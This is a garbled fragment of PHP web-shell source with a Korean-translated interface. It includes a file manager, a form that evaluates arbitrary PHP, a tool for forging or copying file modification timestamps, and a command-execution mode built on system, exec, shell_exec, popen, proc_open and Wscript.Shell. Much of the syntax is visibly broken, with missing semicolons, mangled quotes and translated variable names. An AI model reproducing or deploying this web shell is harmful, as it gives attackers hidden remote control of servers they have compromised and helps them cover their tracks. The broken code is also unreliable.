if(get_cfg_var('safemode'))$z = "(?)";
else $z = "(?)"
$tb->tdbody('
文件创建日期最后修改대소属性操작품
[$file< /a>]$ctime$mtime검색$dirperm| 삭제< ; /a> 이름 바꾸기 n";
echo "
상위 디렉토리로 돌아가기< ; /td>n";
echo "
"
echo "";
echo "$file
$ctimen";
echo "
$size td>n";
echo "
$fileperm다운로드 편집 삭제 "" href="""?action=rename&dir=".urlencode($dir)."&fname=".urlencode($filepath)."">이름 바꾸기 """?action=newtime&dir=".urlencode($dir)."&file=".urlencode($filepath)."">시간
'.$tb->makeinput('chkall' ,'on ','onclick="CheckAll(this.form)"','checkbox','30','').' 로컬 파일: '.$tb->makeinput('localfile','', '', 'text','15').''.$tb->makeinput('downrar','패키지 다운로드 선택 또는 로컬 저장','','제출').' '.$dir_i.' 디렉터리/'.$file_i.' 파일
','center', getrowbg(),'','','6');

echo "n"
echo "n"// end dir

elseif ($_GET['action'] == "editfile") {
if(empty($newfile)) {
$filename="$dir/$editfile";
$fp=@fopen($filename,"r");
$contents=@fread($fp, filesize($filename))
@fclose($fp); 내용=htmlspecialchars($contents);
}else{
$editfile=$newfile;
$filename = "$dir/$editfile";
$action = "?dir =".urlencode($dir)."&editfile=".$editfile;
$tb->tableheader();
$tb->formheader($action,'새/편집 파일');
$tb->tdbody('현재 파일: '.$tb->makeinput('editfilename',$filename).' 새 파일을 생성하려면 새 파일 이름을 입력하세요. Php 코드 암호화: ');
$tb->tdbody($tb->maketextarea('filecontent',$contents));
$tb->makehidden('do','doeditfile ');
$tb->formfooter('1','30');
}//end editfile

elseif ($_GET['action'] == "rename" ) {
$nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname'])
$action = "?dir= ".urlencode($dir)."&fname=".urlencode($fname);
$tb->tableheader();
$tb->formheader($action,'파일 이름 수정') ;
$tb->makehidden('oldname',$dir."/".$nowfile)
$tb->makehidden('dir',$dir); >tdbody('현재 파일 이름: '.basename($nowfile));
$tb->tdbody('다음으로 이름 변경: '.$tb->makeinput('newname'))
$tb->makehidden('do','rename');
$tb->formfooter('1','30')
}//이름 바꾸기 종료

elseif ($_GET['action'] == "eval") {
$action = "?dir=".urlencode($dir).""
$tb->tableheader(); >$tb->formheader(''.$action.' "target="_blank' ,'php 스크립트 실행')
$tb->tdbody($tb->maketextarea('phpcode', $contents));
$tb->formfooter('1','30')

}
elseif ($_GET['action'] == "fileperm") {
$action = "?dir=".urlencode($dir)."&file=".$file
$tb->tableheader()
$tb->formheader($action; ,'파일 속성 수정');
$tb->tdbody(''.$file.'의 속성을 다음으로 수정합니다: '.$tb->makeinput('fileperm',substr(base_convert(fileperms( $ dir.'/'.$file),10,8),-4)))
$tb->makehidden('file',$file)
$tb->makehidden( ' dir',urlencode($dir))
$tb->makehidden('do','editfileperm');
$tb->formfooter('1','30')
}//end fileperm

elseif ($_GET['action'] == "newtime") {
$action = "?dir=".urlencode($dir)
$cachemonth = array('January'=>1,' 2월'=>2,'3월'=>3,'4월'=>4,'5월'=>5,'6월'=>6,'7월'=>7,'8월' =>8,'9월'=>9,'10월'=>10,'11월'=>11,'12월'=>12);
$tb->tableheader();
$tb->formheader($action,'복제된 파일의 마지막 수정 시간')
$tb->tdbody("파일 수정: ".$tb->makeinput('curfile', $ file,'readonly')." → 대상 파일: ".$tb->makeinput('tarfile','전체 경로 및 파일 이름이 필요합니다'),'center','2','30')
$tb->makehidden('do','domodtime')
$tb->formfooter('','30')
$tb->formheader($action,' 사용자 정의 파일 마지막 수정 시간')
$tb->tdbody('
  • 유효한 타임스탬프의 일반적인 범위는 1901년 12월 13일 GMT Friday 20:45:54입니다. ~ 2038년 1월 19일 화요일 03:14:07
    (날짜는 32비트 부호 있는 정수의 최소값과 최대값 기준)
  • 설명 : 해당 날짜는 ~ 사이입니다. 01~30, 시는 0~24, 분과 초는 0~60입니다!
','left')
$tb- >tdbody( '현재 파일 이름: '.$file);
$tb->makehidden('curfile',$file)
$tb->tdbody('수정: '.$ tb-> makeinput('연도','1984','','text','4').' year'.$tb->makeselect(array('name'=>'월',' option'=> ;$cachemonth,'selected'=>'10월')).'month'.$tb->makeinput('data','18','','text','2') day' .$tb->makeinput('시간','20','','텍스트','2').' 시간'.$tb->makeinput('분','00' ,'', 'text','2').' 분'.$tb->makeinput('second','00','','text','2').' 초','center ','2 ','30');
$tb->makehidden('do','modmytime')
$tb->formfooter('1','30')/ /end newtime

elseif ($_GET['action'] == "shell") {
$action = "??action=shell&dir=".urlencode($dir)
$ tb->tableheader();
$tb->tdheader('WebShell 모드')
if (substr(PHP_OS, 0, 3) == 'WIN') {
$program = isset($_POST['program']) ? $_POST['program'] : "c:winntsystem32cmd.exe";
$prog = isset($_POST['prog']) ? ] : "/c net start > ".$pathname."/log.txt";
echo "
n";
$tb->tdbody('에코 없이 프로그램 실행→ 파일: '.$tb->makeinput('program',$program).' 매개변수: '.$tb ->makeinput('prog',$prog,'','text','40').'.$tb->makeinput('','실행','','제출 '),' center','2','35');
$tb->makehidden('do','programrun')
echo "
n"
}
echo "
n"
if(isset($_POST['cmd '])) $cmd = $_POST['cmd'];
$tb->tdbody('팁: 출력 결과가 불완전한 경우 출력 결과를 파일에 쓰는 것이 좋습니다. 이렇게 하면 전체 내용을 얻을 수 있습니다. content.') ;
$tb->tdbody('proc_open 함수가 기본 winnt 시스템이 아닌 경우 직접 설정하여 사용하세요. 직접 수정하고 작성하고 종료하는 것을 잊지 마세요. 그렇지 않으면 완료되지 않은 프로세스입니다. 호스트에 남습니다.');
$tb->tdbody('proc_open 함수에서 사용할 cmd 프로그램의 위치:'.$tb->makeinput('cmd',$cmd ,'','text','30').'(그렇다면 Linux 시스템을 직접 수정해야 합니다)')
$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen ','wscript'=>'Wscript.Shell','proc_open'=>'proc_open') : array('system'=>'system','passthru'=>'passthru','exec' =>'exec','shell_exec'=>'shell_exec','popen'=>'popen','proc_open'=>'proc_open'); 
$tb->tdbody('选择执行函数: '.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>) ;$execfunc)).' 설명: '.$tb->makeinput('command',$_POST['command'],'','text','60').' ;makeinput('','실행','','제출')); 
?>